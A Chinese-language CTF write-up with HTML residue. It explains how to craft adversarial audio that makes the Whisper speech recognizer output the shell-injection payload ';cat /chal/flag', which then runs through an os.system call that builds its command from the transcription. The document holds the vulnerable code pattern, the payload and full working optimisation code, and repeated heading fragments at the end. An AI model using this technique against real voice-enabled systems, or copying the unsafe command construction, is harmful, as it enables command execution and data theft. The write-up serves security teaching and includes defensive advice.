Whisper模型对抗样本攻击教学文档<\/h1>

概述<\/h2>
本教学文档基于第五届"湾区杯"CTF决赛的Blind题目，详细讲解如何利用Whisper语音识别模型的漏洞进行命令注入攻击，并生成对抗样本音频。<\/p>

漏洞分析<\/h2>

1. 漏洞背景<\/h3>

题目实现了一个AI助手系统，支持两种交互方式：<\/p>

文字直接交流<\/li>

音频上传识别后交流<\/li> <\/ul>

2. 漏洞位置<\/h3>

在app.py<\/code>的语音识别模块中存在命令注入漏洞：<\/p>

# 漏洞代码示例<\/span>
<\/span><\/span>command =<\/span> f<\/span>"python3 chatbot.py '<\/span>{<\/span>asr_output}<\/span>'"<\/span>
<\/span><\/span>os.<\/span>system(command)
<\/span><\/span><\/code><\/pre>3. 攻击原理<\/h3>
当ASR模型识别结果为';cat \/chal\/flag'<\/code>时，拼接后的命令变为：<\/p>
python3 chatbot.py ''<\/span>;cat \/chal\/flag''<\/span>
<\/span><\/span><\/code><\/pre>这会导致系统执行cat \/chal\/flag<\/code>命令。<\/p>
Whisper模型架构理解<\/h2>
1. 模型结构<\/h3>
Whisper采用Encoder-Decoder架构：<\/p>

Encoder<\/strong>: 处理音频特征，生成隐藏表示<\/li>
Decoder<\/strong>: 基于隐藏表示生成文本序列<\/li>
<\/ul>
2. 处理流程<\/h3>

音频预处理：生成梅尔频谱图<\/li>
Encoder处理：提取音频特征<\/li>
Decoder生成：自回归生成文本token<\/li>
<\/ol>
3. 关键组件<\/h3>

Token序列<\/strong>: 以[SOT]<\/code>(50257)开始，[EN]<\/code>(50362)表示英语，以[EOT]<\/code>(50256)结束<\/li>
音频特征<\/strong>: 通过梅尔频谱图转换<\/li>
<\/ul>
对抗样本生成技术<\/h2>
1. 基本思路<\/h3>
通过梯度反向传播优化音频输入，使得模型输出特定的目标文本。<\/p>
2. 关键挑战<\/h3>

梯度传递的稳定性<\/li>
多token生成的顺序依赖<\/li>
音频特征的约束条件<\/li>
<\/ul>
3. 失败的优化策略分析<\/h3>
策略一：逐token循环优化<\/h4>
# 问题：后续优化会破坏前面token的准确性<\/span>
<\/span><\/span>for<\/span> target_token in<\/span> target_tokens:
<\/span><\/span>    # 单独优化每个token<\/span>
<\/span><\/span>    # 但优化后续token时会影响前面token的预测<\/span>
<\/span><\/span><\/code><\/pre>策略二：累积梯度一次优化<\/h4>
# 问题：梯度累积导致优化方向混乱<\/span>
<\/span><\/span>total_loss =<\/span> 0<\/span>
<\/span><\/span>for<\/span> target_token in<\/span> target_tokens:
<\/span><\/span>    loss =<\/span> calculate_loss(logits, target_token)
<\/span><\/span>    total_loss +=<\/span> loss
<\/span><\/span>total_loss.<\/span>backward()  # 梯度爆炸或消失<\/span>
<\/span><\/span><\/code><\/pre>策略三：基于现实预测优化<\/h4>
# 问题：实际预测与目标不一致导致训练不稳定<\/span>
<\/span><\/span>tokens =<\/span> torch.<\/span>cat([tokens, torch.<\/span>argmax(logits, dim=<\/span>1<\/span>)], dim=<\/span>1<\/span>)
<\/span><\/span><\/code><\/pre>有效的对抗样本生成方案<\/h2>
1. 核心代码实现<\/h3>
import<\/span> torch
<\/span><\/span>from<\/span> whisper import<\/span> load_model
<\/span><\/span>from<\/span> whisper.audio import<\/span> log_mel_spectrogram, pad_or_trim
<\/span><\/span>from<\/span> whisper.tokenizer import<\/span> get_tokenizer
<\/span><\/span>import<\/span> torchaudio
<\/span><\/span>from<\/span> torch import<\/span> nn
<\/span><\/span>
<\/span><\/span># 设备配置<\/span>
<\/span><\/span>DEVICE =<\/span> "mps"<\/span>  # 或 "cuda"\/"cpu"<\/span>
<\/span><\/span>
<\/span><\/span># 目标文本设置<\/span>
<\/span><\/span>target_text =<\/span> "';cat \/chal\/flag'"<\/span>
<\/span><\/span>model =<\/span> load_model("tiny.en.pt"<\/span>)
<\/span><\/span>model.<\/span>eval()
<\/span><\/span>
<\/span><\/span># Tokenizer初始化<\/span>
<\/span><\/span>tokenizer =<\/span> get_tokenizer(
<\/span><\/span>    model.<\/span>is_multilingual,
<\/span><\/span>    num_languages=<\/span>model.<\/span>num_languages,
<\/span><\/span>    language=<\/span>"en"<\/span>,
<\/span><\/span>    task=<\/span>"transcribe"<\/span>,
<\/span><\/span>)
<\/span><\/span>
<\/span><\/span># 目标token编码<\/span>
<\/span><\/span>target_tokens =<\/span> tokenizer.<\/span>encode(target_text)
<\/span><\/span>target_tokens =<\/span> target_tokens +<\/span> [50256<\/span>]  # 添加EOT token<\/span>
<\/span><\/span>print(f<\/span>"目标Tokens: <\/span>{<\/span>target_tokens}<\/span>"<\/span>)
<\/span><\/span>
<\/span><\/span># 可训练音频张量初始化<\/span>
<\/span><\/span>adv =<\/span> torch.<\/span>randn(1<\/span>, 16000<\/span>*<\/span>15<\/span>, device=<\/span>DEVICE, requires_grad=<\/span>True<\/span>)
<\/span><\/span>
<\/span><\/span># 优化器配置<\/span>
<\/span><\/span>optimizer =<\/span> torch.<\/span>optim.<\/span>Adam([adv], lr=<\/span>0.01<\/span>)
<\/span><\/span>loss_fn =<\/span> nn.<\/span>CrossEntropyLoss()
<\/span><\/span>
<\/span><\/span># 训练循环<\/span>
<\/span><\/span>num_iterations =<\/span> 50<\/span>
<\/span><\/span>for<\/span> i in<\/span> range(num_iterations):
<\/span><\/span>    # 初始化token序列：[SOT, EN]<\/span>
<\/span><\/span>    tokens =<\/span> torch.<\/span>tensor([[50257<\/span>, 50362<\/span>]], device=<\/span>DEVICE)
<\/span><\/span>    
<\/span><\/span>    for<\/span> target_token in<\/span> target_tokens:
<\/span><\/span>        optimizer.<\/span>zero_grad()
<\/span><\/span>        
<\/span><\/span>        # 音频特征提取<\/span>
<\/span><\/span>        mel =<\/span> log_mel_spectrogram(adv, model.<\/span>dims.<\/span>n_mels, padding=<\/span>16000<\/span>*<\/span>30<\/span>)
<\/span><\/span>        mel =<\/span> pad_or_trim(mel, 3000<\/span>).<\/span>to(model.<\/span>device)
<\/span><\/span>        audio_features =<\/span> model.<\/span>embed_audio(mel)
<\/span><\/span>        
<\/span><\/span>        # 模型前向传播<\/span>
<\/span><\/span>        logits =<\/span> model.<\/span>logits(tokens, audio_features)[:, -<\/span>1<\/span>]
<\/span><\/span>        
<\/span><\/span>        # 损失计算<\/span>
<\/span><\/span>        loss =<\/span> loss_fn(logits, torch.<\/span>tensor([target_token], device=<\/span>DEVICE))
<\/span><\/span>        loss.<\/span>backward()
<\/span><\/span>        optimizer.<\/span>step()
<\/span><\/span>        
<\/span><\/span>        # 音频数据约束<\/span>
<\/span><\/span>        adv.<\/span>data =<\/span> adv.<\/span>data.<\/span>clamp(-<\/span>1<\/span>, 1<\/span>)
<\/span><\/span>        
<\/span><\/span>        # 更新token序列<\/span>
<\/span><\/span>        tokens =<\/span> torch.<\/span>cat([tokens, torch.<\/span>tensor([[target_token]], device=<\/span>DEVICE)], dim=<\/span>1<\/span>)
<\/span><\/span>    
<\/span><\/span>    print(f<\/span>"迭代 <\/span>{<\/span>i+<\/span>1<\/span>}<\/span>\/<\/span>{<\/span>num_iterations}<\/span>, Loss: <\/span>{<\/span>loss.<\/span>item():<\/span>.4f<\/span>}<\/span>"<\/span>)
<\/span><\/span>    print(f<\/span>"当前Tokens: <\/span>{<\/span>tokens.<\/span>tolist()}<\/span>"<\/span>)
<\/span><\/span>
<\/span><\/span># 保存对抗样本<\/span>
<\/span><\/span>torchaudio.<\/span>save("adversarial.wav"<\/span>, adv.<\/span>detach().<\/span>cpu(), 16000<\/span>)
<\/span><\/span>
<\/span><\/span># 验证识别结果<\/span>
<\/span><\/span>print("<\/span>\n<\/span>生成对抗音频的识别结果:"<\/span>)
<\/span><\/span>result =<\/span> model.<\/span>transcribe(adv.<\/span>detach().<\/span>cpu().<\/span>squeeze(0<\/span>))
<\/span><\/span>print(f<\/span>"识别文本: <\/span>{<\/span>result['text'<\/span>]}<\/span>"<\/span>)
<\/span><\/span><\/code><\/pre>2. 关键技术点<\/h3>
音频预处理<\/h4>

log_mel_spectrogram<\/code>: 生成对数梅尔频谱图<\/li>
pad_or_trim<\/code>: 统一音频长度（3000帧）<\/li>
采样率：16000Hz<\/li>
<\/ul>
梯度优化策略<\/h4>

逐token顺序优化<\/strong>: 按目标token顺序逐个优化<\/li>
梯度清零<\/strong>: 每个token优化前清空梯度<\/li>
数值约束<\/strong>: 音频数据限制在[-1, 1]范围内<\/li>
<\/ul>
Token序列管理<\/h4>

初始序列：[SOT, EN]<\/code><\/li>
逐步添加目标token<\/li>
最终以EOT<\/code> token结束<\/li>
<\/ul>
3. 参数调优建议<\/h3>
学习率选择<\/h4>

初始学习率：0.01<\/li>
可根据收敛情况动态调整<\/li>
<\/ul>
迭代次数<\/h4>

基础设置：50次迭代<\/li>
复杂目标可能需要更多迭代<\/li>
<\/ul>
音频长度<\/h4>

建议长度：15秒（16000*15采样点）<\/li>
填充长度：30秒（确保特征完整性）<\/li>
<\/ul>
防御措施建议<\/h2>
1. 输入验证<\/h3>

对ASR输出进行特殊字符过滤<\/li>
使用参数化查询替代命令拼接<\/li>
<\/ul>
2. 模型安全<\/h3>

对模型输出进行后处理验证<\/li>
限制模型权限和系统调用<\/li>
<\/ul>
3. 系统加固<\/h3>

使用沙箱环境运行模型<\/li>
实施最小权限原则<\/li>
<\/ul>
总结<\/h2>
本教学文档详细介绍了Whisper模型对抗样本攻击的全过程，包括漏洞分析、模型理解、攻击技术和实现方案。关键成功因素在于采用了逐token顺序优化的策略，避免了梯度冲突和训练不稳定的问题。这种技术不仅适用于CTF竞赛，也对现实世界中AI系统的安全防护具有重要参考价值。<\/p>

Whisper模型对抗样本攻击教学文档<\/h1>

概述<\/h2> 本教学文档基于第五届"湾区杯"CTF决赛的Blind题目，详细讲解如何利用Whisper语音识别模型的漏洞进行命令注入攻击，并生成对抗样本音频。<\/p>

漏洞分析<\/h2>

对抗样本生成技术<\/h2>

1. 基本思路<\/h3> 通过梯度反向传播优化音频输入，使得模型输出特定的目标文本。<\/p>

3. 失败的优化策略分析<\/h3>

有效的对抗样本生成方案<\/h2>

2. 关键技术点<\/h3>

3. 参数调优建议<\/h3>

防御措施建议<\/h2>

概述<\/h2>
本教学文档基于第五届"湾区杯"CTF决赛的Blind题目，详细讲解如何利用Whisper语音识别模型的漏洞进行命令注入攻击，并生成对抗样本音频。<\/p>

1. 基本思路<\/h3>
通过梯度反向传播优化音频输入，使得模型输出特定的目标文本。<\/p>